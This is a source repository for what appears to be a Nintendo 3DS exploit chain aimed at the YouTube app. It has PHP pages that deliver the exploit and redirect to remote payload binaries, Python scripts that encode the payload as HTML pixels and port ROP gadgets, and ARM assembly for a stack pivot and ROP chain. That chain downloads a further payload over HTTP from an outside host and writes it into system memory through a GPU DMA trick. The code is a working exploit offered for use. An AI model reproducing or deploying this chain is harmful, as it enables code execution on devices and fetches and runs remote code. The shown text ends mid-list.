├── README.md ├── ytb_page ├── get_version.php ├── get_payload.php ├── frame.html ├── index.php ├── stats.php ├── version.php ├── version.html └── hax.php ├── scripts ├── buildAll.py ├── firmware_versions.py ├── urls2html.py ├── bin2html.py ├── makeHeaders.py └── portRopDb.py ├── ytb_rop ├── unicode.tbl └── ytb_rop.s ├── urls.txt ├── Makefile ├── ytb_payload └── ytb_payload.s ├── ytb_ropdb └── west_ropdb_proto.txt └── ytb_include └── ytb_include.s /README.md: -------------------------------------------------------------------------------- 1 | # tub3d 2 | -------------------------------------------------------------------------------- /ytb_page/get_version.php: -------------------------------------------------------------------------------- 1 | $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "nup" => $v[4], "region" => $v[5]); 7 | $version_name = getVersion($version); 8 | 9 | echo($version_name); 10 | ?> 11 | -------------------------------------------------------------------------------- /scripts/buildAll.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import itertools 4 | 5 | firmVersions=["OLD", "NEW"] 6 | ytbVersions=["west", "jpn"] 7 | 8 | a=[firmVersions, ytbVersions] 9 | 10 | cnt=0 11 | for v in (list(itertools.product(*a))): 12 | os.system("make clean") 13 | os.system("make FIRM_VERSION="+str(v[0])+" YTB_VERSION="+str(v[1])) 14 | print(cnt) 15 | -------------------------------------------------------------------------------- /ytb_page/get_payload.php: -------------------------------------------------------------------------------- 1 | $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "nup" => $v[4], "region" => $v[5]); 7 | $version_name = getVersion($version); 8 | 9 | header("Location: http://smealum.github.io/ninjhax2/Pvl9iD2Im5/otherapp/".$version_name.".bin"); 10 | die(); 11 | ?> 12 | -------------------------------------------------------------------------------- /scripts/firmware_versions.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | 3 | a=[["USA", "EUR", "JPN"], [9], reversed(list(range(10))), [0], ["NEW", "OLD"]] 4 | 5 | for v in (list(itertools.product(*a))): 6 | firmware_version = str(v[4]) + " " + str(v[1]) + " " + str(v[2]) + " " + str(v[3]) + " " + str(v[0]) 7 | pretty_firmware_version = str(v[0]) + " " + str(v[4]) + " " + str(v[1]) + "." + str(v[2]) + "." + str(v[3]) 8 | print("") 9 | -------------------------------------------------------------------------------- /ytb_page/frame.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /ytb_rop/unicode.tbl: -------------------------------------------------------------------------------- 1 | 6100=a 2 | 6200=b 3 | 6300=c 4 | 6400=d 5 | 6500=e 6 | 6600=f 7 | 6700=g 8 | 6800=h 9 | 6900=i 10 | 6A00=j 11 | 6B00=k 12 | 6C00=l 13 | 6D00=m 14 | 6E00=n 15 | 6F00=o 16 | 7000=p 17 | 7100=q 18 | 7200=r 19 | 7300=s 20 | 7400=t 21 | 7500=u 22 | 7600=v 23 | 7700=w 24 | 7800=x 25 | 7900=y 26 | 7A00=z 27 | 4100=A 28 | 4200=B 29 | 4300=C 30 | 4400=D 31 | 4500=E 32 | 4600=F 33 | 4700=G 34 | 4800=H 35 | 4900=I 36 | 4A00=J 37 | 4B00=K 38 | 4C00=L 39 | 4D00=M 40 | 4E00=N 41 | 4F00=O 42 | 5000=P 43 | 5100=Q 44 | 5200=R 45 | 5300=S 46 | 5400=T 47 | 5500=U 48 | 5600=V 49 | 5700=W 50 | 5800=X 51 | 5900=Y 52 | 5A00=Z 53 | 3000=0 54 | 3100=1 55 | 3200=2 56 | 3300=3 57 | 3400=4 58 | 3500=5 59 | 3600=6 60 | 3700=7 61 | 3800=8 62 | 3900=9 63 | 2E00=. 64 | 3A00=: 65 | 2F00=/ 66 | 5C00=\ 67 | 5F00=_ 68 | /0000 69 | -------------------------------------------------------------------------------- /scripts/urls2html.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import struct 4 | import bin2html 5 | 6 | def convert_url(url): 7 | url = bytes(url, "ascii") 8 | url += bytearray([0] * (2 - (len(url) % 2))) # pads to u16 and adds an extra null byte if necessary 9 | url = struct.unpack("<%dH" % (len(url) // 2), url) 10 | return bin2html.do_convert(url, offset = 0x600 + 0x300) 11 | 12 | def convert_cookie(cookie): 13 | cookie = bytes(cookie, "ascii") 14 | cookie += bytearray([0xA]) 15 | cookie += bytearray([0] * (2 - (len(cookie) % 2))) # pads to u16 and adds an extra null byte if necessary 16 | cookie = struct.unpack("<%dH" % (len(cookie) // 2), cookie) 17 | return bin2html.do_convert(cookie, offset = 0x700 + 0x300) 18 | 19 | path = sys.argv[2] 20 | 21 | for url in open(sys.argv[1], "r").readlines(): 22 | url = url.rstrip() 23 | out = convert_url("http://smealum.github.io/ninjhax2/Pvl9iD2Im5/otherapp/" + url + ".bin") + "\n" 24 | out += convert_cookie(".m.youtube.com TRUE / FALSE 0 value " + url) 25 | open(path + "/" + url + ".html", "w").write(out) 26 | -------------------------------------------------------------------------------- /ytb_page/index.php: -------------------------------------------------------------------------------- 1 | 2) 11 | { 12 | $v = explode(" ", $_POST["version"]); 13 | $version = array("model" => $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "region" => $v[4]); 14 | $version_name = getVersion($version); 15 | error_log ( $version_name ); 16 | } 17 | }else if(isset($_COOKIE[$cookie_name])){ 18 | $version_name = $_COOKIE[$cookie_name]; 19 | } 20 | 21 | // basic validation on version 22 | if(isset($version_name) && !preg_match('/[^A-Za-z0-9_]/', $version_name)) 23 | { 24 | $url_filename = "./urls/".$version_name.".html"; 25 | 26 | // prepare version for web payload 27 | preg_match('/(.*)_([UEJ])_(.*)_(.*)/', $version_name, $v); 28 | if($v[1] == "N3DS")$version["firm"] = "NEW"; 29 | else $version["firm"] = "OLD"; 30 | if($v[2] == "E" || $v[2] == "U") $version["ytb"] = "west"; 31 | else $version["ytb"] = "jpn"; 32 | 33 | include("hax.php"); 34 | }else{ 35 | // otherwise, display version selector 36 | include("version.html"); 37 | 38 | // debug 39 | // foreach(array_keys($_COOKIE) as $paramName) 40 | // echo $paramName . "
"; 41 | } 42 | ?> 43 | -------------------------------------------------------------------------------- /urls.txt: -------------------------------------------------------------------------------- 1 | N3DS_E_11272_8203 2 | N3DS_E_12288_8203 3 | N3DS_E_13330_8203 4 | N3DS_E_14336_8203 5 | N3DS_E_15360_8203 6 | N3DS_E_16404_9221 7 | N3DS_E_17415_9221 8 | N3DS_E_19456_9221 9 | N3DS_E_20480_9221 10 | N3DS_J_11272_8203 11 | N3DS_J_12288_8203 12 | N3DS_J_13330_8203 13 | N3DS_J_14336_8203 14 | N3DS_J_15360_8203 15 | N3DS_J_16404_9221 16 | N3DS_J_17415_9221 17 | N3DS_J_19456_9221 18 | N3DS_J_20480_9221 19 | N3DS_U_11272_8203 20 | N3DS_U_12288_8203 21 | N3DS_U_13330_8203 22 | N3DS_U_14336_8203 23 | N3DS_U_15360_8203 24 | N3DS_U_16404_9221 25 | N3DS_U_17415_9221 26 | N3DS_U_19456_9221 27 | N3DS_U_20480_9221 28 | N3DS_U_20480_usa_9221 29 | N3DS_U_21504_usa_9221 30 | POST5_E_11272_8203 31 | POST5_E_12288_8203 32 | POST5_E_13330_8203 33 | POST5_E_14336_8203 34 | POST5_E_15360_8203 35 | POST5_E_16404_9221 36 | POST5_E_17415_9221 37 | POST5_E_19456_9221 38 | POST5_E_20480_9221 39 | POST5_J_11272_8203 40 | POST5_J_12288_8203 41 | POST5_J_13330_8203 42 | POST5_J_14336_8203 43 | POST5_J_15360_8203 44 | POST5_J_16404_9221 45 | POST5_J_17415_9221 46 | POST5_J_19456_9221 47 | POST5_J_20480_9221 48 | POST5_U_11272_8203 49 | POST5_U_12288_8203 50 | POST5_U_13330_8203 51 | POST5_U_14336_8203 52 | POST5_U_15360_8203 53 | POST5_U_16404_9221 54 | POST5_U_17415_9221 55 | POST5_U_19456_9221 56 | POST5_U_20480_9221 57 | POST5_U_20480_usa_9221 58 | POST5_U_21504_usa_9221 59 | -------------------------------------------------------------------------------- /scripts/bin2html.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import struct 4 | 5 | def val2pixel(val): 6 | b = (val & 0x1f) * 8; 7 | g = ((val >> 5) & 0x3f) * 4; 8 | r = ((val >> 11) & 0x1f) * 8; 9 | return "#%06X" % ((r << 16) + (g << 8) + b) 10 | 11 | 12 | def putPixel(x, y, val): 13 | if val != 0xFFFF: 14 | return '
\n' 15 | else: 16 | return "" 17 | 18 | 19 | tileOrder = [0,1,8,9,2,3,10,11,16,17,24,25,18,19,26,27,4,5,12,13,6,7,14,15,20,21,28,29,22,23,30,31,32,33,40,41,34,35,42,43,48,49,56,57,50,51,58,59,36,37,44,45,38,39,46,47,52,53,60,61,54,55,62,63] 20 | 21 | w = 320 22 | h = 240 23 | 24 | def do_convert(payload, offset = 0, tiled = True): 25 | offset //= 2 # input in bytes, but should be in shorts 26 | ret = "" 27 | if tiled: 28 | o = 0 29 | for y in range(0,h,8): 30 | for x in range(0,w,8): 31 | for k in range(8*8): 32 | if (o - offset) >= len(payload): 33 | return ret 34 | elif o >= offset: 35 | i = tileOrder[k] % 8 36 | j = int((tileOrder[k]-i) / 8) 37 | # i = k % 8 38 | # j = int((k-i) / 8) 39 | ret += putPixel(x+i, y+j, payload[o - offset]) 40 | o += 1 41 | else: 42 | for i in range(len(payload)): 43 | x = i % 240; 44 | y = int((i - x) / 240); 45 | ret += putPixel(x, y, payload[i]) 46 | return ret 47 | 48 | if __name__ == '__main__': 49 | file = open(sys.argv[1], "rb") 50 | data = bytearray(file.read()) 51 | file.seek(0, os.SEEK_END) 52 | len_data = file.tell() 53 | payload = list(struct.unpack("<%dH" % (len_data // 2), data)) 54 | out = do_convert(payload) 55 | print(out) 56 | -------------------------------------------------------------------------------- /scripts/makeHeaders.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import sys 3 | import ast 4 | 5 | def outputConstantsH(d): 6 | out="" 7 | out+=("#ifndef CONSTANTS_H")+"\n" 8 | out+=("#define CONSTANTS_H")+"\n" 9 | for k in d: 10 | out+=(" #define "+k+" "+str(d[k]))+"\n" 11 | out+=("#endif")+"\n" 12 | return out 13 | 14 | def outputConstantsS(d): 15 | out="" 16 | for k in d: 17 | out+=(k+" equ ("+str(d[k])+")")+"\n" 18 | return out 19 | 20 | def outputConstantsPY(d): 21 | out="" 22 | for k in d: 23 | out+=(k+" = ("+str(d[k])+")")+"\n" 24 | return out 25 | 26 | if len(sys.argv)<1: 27 | print("use : "+sys.argv[0]+" ...") 28 | exit() 29 | 30 | l = {"BUILDTIME" : "\""+datetime.now().strftime("%Y-%m-%d %H:%M:%S")+"\""} 31 | 32 | for a in sys.argv[2:]: 33 | if "=" in a: 34 | a = a.split("=") 35 | l[a[0]] = a[1] 36 | else: 37 | s=open(a, "r").read() 38 | if len(s) > 0: 39 | l.update(ast.literal_eval(s)) 40 | 41 | if "FIRM_VERSION" in l and l["FIRM_VERSION"] == "NEW": 42 | l["FIRM_SYSTEM_LINEAR_OFFSET"] = "0x07C00000" 43 | else: 44 | l["FIRM_SYSTEM_LINEAR_OFFSET"] = "0x04000000" 45 | 46 | if "YTB_VERSION" in l and l["YTB_VERSION"] == "west": 47 | l["YTB_VIRTUAL_TRAMPOLINE"] = "0x00bc07f8" 48 | l["YTB_STACK_PIVOT"] = "0x00100d84" # ldmda r4!, {r2, r3, r6, r9, ip, sp, lr, pc} 49 | l["YTB_STACK_PIVOT2"] = "0x00119b84" # ldm r10!, {r4, r5, r9, r12, sp, lr, pc} 50 | else: 51 | # JPN 52 | l["YTB_VIRTUAL_TRAMPOLINE"] = "0x00bbf7f8" 53 | l["YTB_STACK_PIVOT"] = "0x00100d84" # ldmda r4, {r2, r3, r6, r9, ip, sp, lr, pc} (not a typo, the ! is the only difference with WEST) 54 | l["YTB_STACK_PIVOT2"] = "0x0010d8b4" # ldm r8!, {r8, ip, sp, lr, pc} 55 | 56 | l["IRON_CODE_LINEAR_BASE"] = "(0x30000000 + FIRM_SYSTEM_LINEAR_OFFSET - 0x00200000)" 57 | 58 | open(sys.argv[1]+".h","w").write(outputConstantsH(l)) 59 | open(sys.argv[1]+".s","w").write(outputConstantsS(l)) 60 | open(sys.argv[1]+".py","w").write(outputConstantsPY(l)) 61 | -------------------------------------------------------------------------------- /ytb_page/stats.php: -------------------------------------------------------------------------------- 1 | Inserted '%s' into stats

\n", htmlentities($ip)); 21 | } 22 | mysql_close($conn); 23 | } 24 | } 25 | 26 | function read_stats() { 27 | $conn = do_mysql_connect(); 28 | if($conn) { 29 | $query = "select * from stats"; 30 | $result = mysql_query($query); 31 | while($row = mysql_fetch_assoc($result)) { 32 | printf("%s,%s,%s
\n", 33 | htmlentities($row['ip']), 34 | htmlentities($row['version']), 35 | htmlentities($row['time'])); 36 | } 37 | mysql_close($conn); 38 | } 39 | } 40 | 41 | function read_stats2() { 42 | $conn = do_mysql_connect(); 43 | if($conn) { 44 | $query = "SELECT COUNT(DISTINCT ip) FROM stats;"; 45 | $result = mysql_query($query); 46 | while($row = mysql_fetch_assoc($result)) { 47 | var_dump($row); 48 | } 49 | 50 | printf("
"); 51 | printf("
"); 52 | 53 | $query = "SELECT COUNT(DISTINCT ip), version FROM stats GROUP BY version ORDER BY COUNT(DISTINCT ip) DESC;"; 54 | $result = mysql_query($query); 55 | while($row = mysql_fetch_assoc($result)) { 56 | printf("%s : %s
\n", htmlentities($row['version']), htmlentities($row['COUNT(DISTINCT ip)'])); 57 | } 58 | mysql_close($conn); 59 | } 60 | } 61 | ?> 62 | -------------------------------------------------------------------------------- /scripts/portRopDb.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import sys 3 | import ast 4 | 5 | def getWord(b, k, n=4): 6 | return sum(list(map(lambda c: b[k+c]<<(c*8),range(n)))) 7 | 8 | def findPattern(p, t, addr, size): 9 | pattern = [] 10 | if not(isinstance(size, tuple)): 11 | size = (size,) 12 | 13 | skip = False 14 | offset = 0 15 | for s in size: 16 | if skip: 17 | pattern += [None] * s 18 | else: 19 | for i in range(s): 20 | pattern += [getWord(p, addr + (i + offset) * 4, 4)] 21 | offset += s 22 | skip = not(skip) 23 | 24 | size = len(pattern) 25 | 26 | k = 0 27 | # not a perfect pattern search, but most likely good enough 28 | for i in range(0, len(t), 4): 29 | candidate = getWord(t, i, 4) 30 | if candidate == pattern[k] or pattern[k] == None: 31 | if k+1 == size: 32 | return i-k*4 33 | else: 34 | k += 1 35 | elif candidate == pattern[0] or pattern[0] == None: 36 | k = 1 37 | else: 38 | k = 0 39 | return None 40 | 41 | def outputConstantsTxt(d): 42 | out="{\n" 43 | for k in d: 44 | out+="\""+k[0]+"\" : \""+str(k[1])+"\",\n" 45 | out+="}\n" 46 | return out 47 | 48 | if len(sys.argv)<4: 49 | print("use : "+sys.argv[0]+" ") 50 | exit() 51 | 52 | l = ast.literal_eval(open(sys.argv[-2],"r").read()) 53 | 54 | base = int(sys.argv[3], 0) 55 | proto = bytearray(open(sys.argv[1], "rb").read()) 56 | target = bytearray(open(sys.argv[2], "rb").read()) 57 | 58 | out = [] 59 | 60 | for entry in l: 61 | if len(entry) == 3: 62 | # gadget search 63 | (name, in_addr, in_size) = entry 64 | print(name) 65 | out_addr = findPattern(proto, target, in_addr - base, in_size) + base 66 | out += [(name, hex(out_addr))] 67 | if len(entry) == 4: 68 | # const ptr search 69 | (name, in_addr, in_size, in_offset) = entry 70 | print(name) 71 | out_addr = findPattern(proto, target, in_addr - base, in_size) 72 | out_addr = getWord(target, out_addr + in_offset*4, 4) 73 | out += [(name, hex(out_addr))] 74 | 75 | open(sys.argv[-1],"w").write(outputConstantsTxt(out)) 76 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ROPDB_VERSIONS = west jpn 2 | ROPDB_TARGETS = $(addsuffix _ropdb.txt, $(addprefix ytb_ropdb/, $(ROPDB_VERSIONS))) 3 | ROPDB_TARGET = ytb_ropdb/$(YTB_VERSION)_ropdb.txt 4 | 5 | PAYLOAD_NAME = $(FIRM_VERSION)_$(YTB_VERSION)_payload.html 6 | 7 | WEB_TARGETS = web/index.php web/hax.php web/stats.php web/frame.html web/version.html web/payloads/$(PAYLOAD_NAME) web/urls 8 | 9 | SCRIPTS = "scripts" 10 | 11 | .PHONY: directories all build/constants clean 12 | 13 | all: directories build/constants web/payloads/$(PAYLOAD_NAME) $(WEB_TARGETS) 14 | web/urls: 15 | @python scripts/urls2html.py urls.txt web/urls/ 16 | directories: 17 | @mkdir -p build 18 | @mkdir -p web 19 | @mkdir -p web/payloads 20 | @mkdir -p web/urls 21 | 22 | 23 | build/constants: ytb_ropdb/ropdb.txt 24 | @python $(SCRIPTS)/makeHeaders.py build/constants "YTB_VERSION=$(YTB_VERSION)" "FIRM_VERSION=$(FIRM_VERSION)" $^ 25 | @touch build/constants 26 | 27 | 28 | web/payloads/$(PAYLOAD_NAME): build/ytb_payload.bin 29 | @python scripts/bin2html.py ytb_payload/ytb_payload.bin > $@ 30 | web/%.php: ytb_page/%.php 31 | @cp $< $@ 32 | web/%.html: ytb_page/%.html 33 | @cp $< $@ 34 | 35 | 36 | build/ytb_rop.bin: ytb_rop/ytb_rop.bin 37 | @cp ytb_rop/ytb_rop.bin build/ 38 | ytb_rop/ytb_rop.bin: ytb_rop/ytb_rop.s ytb_include/ytb_include.s build/constants 39 | @cd ytb_rop && armips ytb_rop.s 40 | 41 | 42 | build/ytb_payload.bin: ytb_payload/ytb_payload.bin 43 | @cp ytb_payload/ytb_payload.bin build/ 44 | ytb_payload/ytb_payload.bin: ytb_payload/ytb_payload.s ytb_include/ytb_include.s build/constants build/ytb_rop.bin 45 | @cd ytb_payload && armips ytb_payload.s 46 | 47 | 48 | ytb_ropdb: $(ROPDB_TARGETS) 49 | ytb_ropdb/ropdb.txt: $(ROPDB_TARGET) 50 | @cp $(ROPDB_TARGET) ytb_ropdb/ropdb.txt 51 | ytb_ropdb/%_ropdb.txt: ytb_ropdb/west_ropdb_proto.txt 52 | @echo building ropDB for ytb version $*... 53 | @python scripts/portRopDb.py ytb_code_west.bin ytb_code_$*.bin 0x00100000 ytb_ropdb/west_ropdb_proto.txt ytb_ropdb/$*_ropdb.txt 54 | 55 | clean: 56 | @rm -rf build 57 | @rm -f ytb_ropdb/ropdb.txt 58 | -------------------------------------------------------------------------------- /ytb_page/version.php: -------------------------------------------------------------------------------- 1 | =8) 64 | { 65 | return "19456"; 66 | } 67 | }else if($v["cup_0"] == 10){ 68 | if ($v["cup_1"]==0) 69 | { 70 | if ($v["region"]=="USA") 71 | { 72 | return "20480_usa"; 73 | } 74 | else 75 | { 76 | return "19456"; 77 | } 78 | }else if ($v["cup_1"]==1) 79 | { 80 | if ($v["region"]=="USA") 81 | { 82 | return "21504_usa"; 83 | } 84 | else 85 | { 86 | return "20480"; 87 | } 88 | } 89 | } 90 | } 91 | 92 | function getMsetVersion($v) 93 | { 94 | if($v["cup_0"] == 9 and $v["cup_1"] < 6) 95 | { 96 | return "8203"; 97 | } 98 | else 99 | { 100 | return "9221"; 101 | } 102 | } 103 | 104 | function getVersion($version) 105 | { 106 | return getFirmVersion($version)."_".getRegion($version)."_".getMenuVersion($version)."_".getMsetVersion($version); 107 | } 108 | ?> 109 | -------------------------------------------------------------------------------- /ytb_payload/ytb_payload.s: -------------------------------------------------------------------------------- 1 | .nds 2 | 3 | .create "ytb_payload.bin",0x0 4 | 5 | ; code to sploit : 6 | ; 7 | ; r2 : points to PAYLOAD_LOC 8 | ; 9 | ; 102c55c: e5cd2036 strb r2, [sp, #54] ; 0x36 10 | ; 102c560: e28d2008 add r2, sp, #8 11 | ; 102c564: e58d2000 str r2, [sp] 12 | ; 102c568: e5902000 ldr r2, [r0] 13 | ; 102c56c: e592c194 ldr ip, [r2, #404] ; 0x194 14 | ; 102c570: e1a02001 mov r2, r1 15 | ; 102c574: e3a01000 mov r1, #0 16 | ; 102c578: e12fff3c blx ip 17 | ; 18 | ; YTB_VIRTUAL_TRAMPOLINE 19 | ; bc07f8: e5900004 ldr r0, [r0, #4] 20 | ; bc07fc: e1a06002 mov r6, r2 21 | ; bc0800: e3500000 cmp r0, #0 22 | ; bc0804: 0a00002c beq 0xbc08bc 23 | ; bc0808: e5900010 ldr r0, [r0, #16] ; r0 = *(PAYLOAD_LOC + 0x10) = PAYLOAD_LOC + 0x40 24 | ; bc080c: e2904004 adds r4, r0, #4 ; *(PAYLOAD_LOC + 0x10) + 0x4 = PAYLOAD_LOC + 0x44 25 | ; bc0810: 0a000009 beq 0xbc083c 26 | ; bc0814: e5940004 ldr r0, [r4, #4] r0 = *(*(PAYLOAD_LOC + 0x10) + 0x8) = PAYLOAD_LOC + 0x14 27 | ; bc0818: e3500000 cmp r0, #0 28 | ; bc081c: 0a000003 beq 0xbc0830 29 | ; bc0820: e5901000 ldr r1, [r0] ; r1 = **(*(PAYLOAD_LOC + 0x10) + 0x8) = PAYLOAD_LOC + 0x18 - 0x30 30 | ; bc0824: e5912030 ldr r2, [r1, #48] ; r2 = *(**(*(PAYLOAD_LOC + 0x10) + 0x8) + 0x30) = PAYLOAD_LOC 31 | ; bc0828: e1a01005 mov r1, r5 32 | ; bc082c: e12fff32 blx r2 33 | 34 | .include "../ytb_include/ytb_include.s" 35 | 36 | PAYLOAD_LOC equ PAYLOAD_PRIM_LOC 37 | 38 | .fill (0x1000 - .), 0xff 39 | 40 | .orga 0x0 41 | .word YTB_STACK_PIVOT ; stack_pivot : ldmda r4!, {r2, r3, r6, r9, ip, sp, lr, pc} 42 | 43 | .orga 0x10 44 | .word PAYLOAD_LOC + 0x40 45 | .word PAYLOAD_LOC - 0x30 46 | 47 | .orga 0x40 - 0x4 48 | .word PAYLOAD_LOC + rop ; sp 49 | .word 0xDEADBABE ; lr 50 | .word YTB_ROP_NOP ; pc 51 | .word PAYLOAD_LOC + 0x14 52 | 53 | .orga 0x194 54 | .word YTB_VIRTUAL_TRAMPOLINE ; cf above 55 | 56 | .orga 0x200 57 | rop: 58 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 59 | .word PAYLOAD_SEC_LOC ; r0 60 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 61 | .word PAYLOAD_LOC + payload_secondary ; r1 62 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 63 | .word payload_secondary_end - payload_secondary ; r2 64 | .word 0xFFFFFFFF ; r3 (garbage) 65 | .word 0xFFFFFFFF ; r4 (garbage) 66 | .word 0xFFFFFFFF ; r5 (garbage) 67 | .word 0xFFFFFFFF ; r6 (garbage) 68 | second_stack_pivot_data: 69 | .word YTB_MEMCPY + 0x4 ; skip the stack push because primary payload is read-only, ends in ldmfd sp!, {r4-r10,lr} ... bx lr | r4 70 | .word 0xFFFFFFFF ; r4 (garbage) | r5 71 | second_stack_pivot_data_jpn: 72 | .word 0xFFFFFFFF ; r5 (garbage) | r9 or r8 73 | .word 0xFFFFFFFF ; r6 (garbage) | r12 or ip 74 | .word PAYLOAD_SEC_LOC ; r7 (garbage) | sp 75 | .word PAYLOAD_LOC + second_stack_pivot_data_jpn ; r8 (garbage) | lr 76 | .word YTB_ROP_NOP ; r9 (garbage) | pc 77 | .word PAYLOAD_LOC + second_stack_pivot_data ; r10 (stack pivot data ptr) 78 | .word YTB_STACK_PIVOT2 ; ldm r10!, {r4, r5, r9, r12, sp, lr, pc} (WEST) or ldm r8!, {r8, ip, sp, lr, pc} (JPN) 79 | 80 | .orga 0x300 ; important for URL absolute positioning 81 | payload_secondary: 82 | .incbin "../build/ytb_rop.bin" 83 | payload_secondary_end: 84 | 85 | .Close 86 | -------------------------------------------------------------------------------- /ytb_rop/ytb_rop.s: -------------------------------------------------------------------------------- 1 | .nds 2 | 3 | .create "ytb_rop.bin",0x0 4 | 5 | .loadtable "unicode.tbl" 6 | 7 | .include "../ytb_include/ytb_include.s" 8 | 9 | PAYLOAD_LOC equ PAYLOAD_SEC_LOC 10 | PARAMBLK_LOC equ (PAYLOAD_LOC + paramblk) 11 | YTB_COOKIES_FILEOBJECT equ (PAYLOAD_SEC_LOC + cookie_obj) 12 | 13 | .fill (0x1000 - .), 0xff 14 | 15 | .orga 0x0 16 | rop: 17 | set_thread_priority 0x18 18 | 19 | ; check for cookie-wiping keypress (call memclr if key is held) 20 | conditional_call YTB_PAD, YTB_COOKIEWIPE_KEY, 0x0, (PAYLOAD_LOC + cookie_data), 0x40, YTB_MEMCLR 21 | 22 | ; open data:/cookies file 23 | fopen YTB_COOKIES_FILEOBJECT, (PAYLOAD_LOC + cookie_filename), 0x7 24 | ; write cookie data 25 | fwrite YTB_COOKIES_FILEOBJECT, (PAYLOAD_LOC - 0x10), (PAYLOAD_LOC + cookie_data), 0x40, 0x1 26 | 27 | ; get string length of cookie data 28 | set_lr YTB_ROP_NOP 29 | .word YTB_ROP_POP_R0PC 30 | .word (PAYLOAD_LOC + cookie_data) 31 | .word YTB_STRLEN 32 | .word YTB_ROP_POP_R4PC 33 | .word 0x00000001 ; add 1 for null byte 34 | .word YTB_ROP_ADD_R0R0R4_POP_R4PC 35 | .word 0xFFFFFFFF ; r4 (garbage) 36 | .word YTB_ROP_MOV_R2R0_MOV_R0R2_POP_R4R5R6PC 37 | .word 0xFFFFFFFF ; r4 (garbage) 38 | .word 0xFFFFFFFF ; r5 (garbage) 39 | .word 0xFFFFFFFF ; r6 (garbage) 40 | .word YTB_ROP_POP_R3PC 41 | .word 0x00000000 ; r3 (upper half of u64 argument) 42 | 43 | ; set file size 44 | .word YTB_ROP_POP_R0PC 45 | .word YTB_COOKIES_FILEOBJECT 46 | .word YTB_SETFILESIZE 47 | 48 | ; commit changes to savedata 49 | control_archive (PAYLOAD_LOC + archive_name) 50 | control_archive (PAYLOAD_LOC + archive_name) 51 | 52 | getServiceHandle YTB_HTTPC_HANDLE, 0x70747468, 0x0000433A, 6 ; http:C 53 | httpcInitialize 54 | .word YTB_ROP_POP_R0PC 55 | .word 0x00000001 ; r0 56 | .word YTB_ROP_POP_R1PC 57 | .word YTB_HTTPC_STRUCT + 0x4 ; r1 58 | .word YTB_ROP_STR_R0R1_POP_R4PC 59 | .word 0xFFFFFFFF ; r4 (garbage) 60 | httpcCreateContextWrapper PAYLOAD_LOC + httpcContextStruct, PAYLOAD_LOC + payloadUrl, 0x1, 0x1 61 | httpcBeginRequest PAYLOAD_LOC + httpcSecondHandle, PAYLOAD_LOC + httpcContextHandle 62 | httpcReceiveData PAYLOAD_LOC + httpcSecondHandle, PAYLOAD_LOC + httpcContextHandle, PAYLOAD_THIRD_LOC, 0x00100000 63 | 64 | flush_dcache PAYLOAD_THIRD_LOC, 0x00100000 65 | gspwn (0x30000000 + FIRM_SYSTEM_LINEAR_OFFSET - 0x5FF000), PAYLOAD_THIRD_LOC, 0x0000A000 66 | sleep 100*1000*1000, 0 67 | 68 | ; gspgpuSetBufferSwap 0, 0x14C00000, (1<<8)|(1<<6)|1 69 | ; gspgpuSetBufferSwap 1, 0x14D00000, 1 70 | 71 | dsp_unloadcomponent 72 | dsp_registerinterruptevents 73 | 74 | .word YTB_ROP_POP_R0PC 75 | .word PARAMBLK_LOC 76 | .word YTB_ROP_POP_R1PC 77 | .word PAYLOAD_LOC 78 | .word 0x00101000 79 | 80 | .align 0x4 81 | httpcContextStruct: 82 | .word 0x00000000 83 | httpcContextHandle: 84 | .word 0x00000000 85 | httpcSecondHandle: 86 | .word 0x00000000 87 | .word 0x00000000 88 | 89 | .orga 0x600 90 | payloadUrl: 91 | ; .ascii "http://m.youtube.com/sec_payload.bin" 92 | ; .byte 0x0A 93 | ; .byte 0x00 94 | 95 | .orga 0x700 96 | cookie_data: 97 | 98 | .orga 0x780 99 | cookie_filename: 100 | .string "data:/cookies" 101 | .byte 0x00, 0x00 102 | archive_name: 103 | .ascii "data:" 104 | .byte 0x00 105 | .align 0x4 106 | cookie_obj: 107 | .word 0x00000000 108 | .word 0x00000000 109 | .word 0x00000000 110 | .word 0x00000000 111 | .word 0x00000000 112 | 113 | .fill (0x800 - .), 0xff 114 | paramblk: 115 | ; 0x00 116 | .word 0xFFFFFFFF 117 | .word 0xFFFFFFFF 118 | .word 0xFFFFFFFF 119 | .word 0xFFFFFFFF 120 | ; 0x10 121 | .word 0xFFFFFFFF 122 | .word 0xFFFFFFFF 123 | .word 0xFFFFFFFF 124 | ; 0x1C 125 | .word YTB_GSPGPU_GXCMD4 126 | ; 0x20 127 | .word YTB_GSPGPU_FLUSHDATACACHE_WRAPPER 128 | .word 0xFFFFFFFF 129 | .word 0xFFFFFFFF 130 | .word 0xFFFFFFFF 131 | ; 0x30 132 | .word 0xFFFFFFFF 133 | .word 0xFFFFFFFF 134 | .word 0xFFFFFFFF 135 | .word 0xFFFFFFFF 136 | ; 0x40 137 | .word 0xFFFFFFFF 138 | .word 0xFFFFFFFF 139 | ; 0x48 140 | .word 0x0000008d ; flags 141 | .word 0xFFFFFFFF 142 | ; 0x50 143 | .word 0xFFFFFFFF 144 | .word 0xFFFFFFFF 145 | ; 0x58 146 | .word YTB_GSPGPU_HANDLE 147 | .word 0xFFFFFFFF 148 | ; 0x60 149 | .word 0xFFFFFFFF 150 | ; 0x64 151 | .word 0x08010000 152 | 153 | .Close 154 | -------------------------------------------------------------------------------- /ytb_ropdb/west_ropdb_proto.txt: -------------------------------------------------------------------------------- 1 | # format : ("ROP_GADGET_NAME", addr, word_size) 2 | # format : ("ROP_GADGET_NAME", addr, (word_size, word_skip_size, word_size)) 3 | # format : ("APP_CONSTANT_PTR", pattern_addr, pattern_word_size, value_words_offset) 4 | # format : ("ROP_GADGET_NAME", addr, (word_size, word_skip_size, word_size), value_words_offset) 5 | [ 6 | # pop 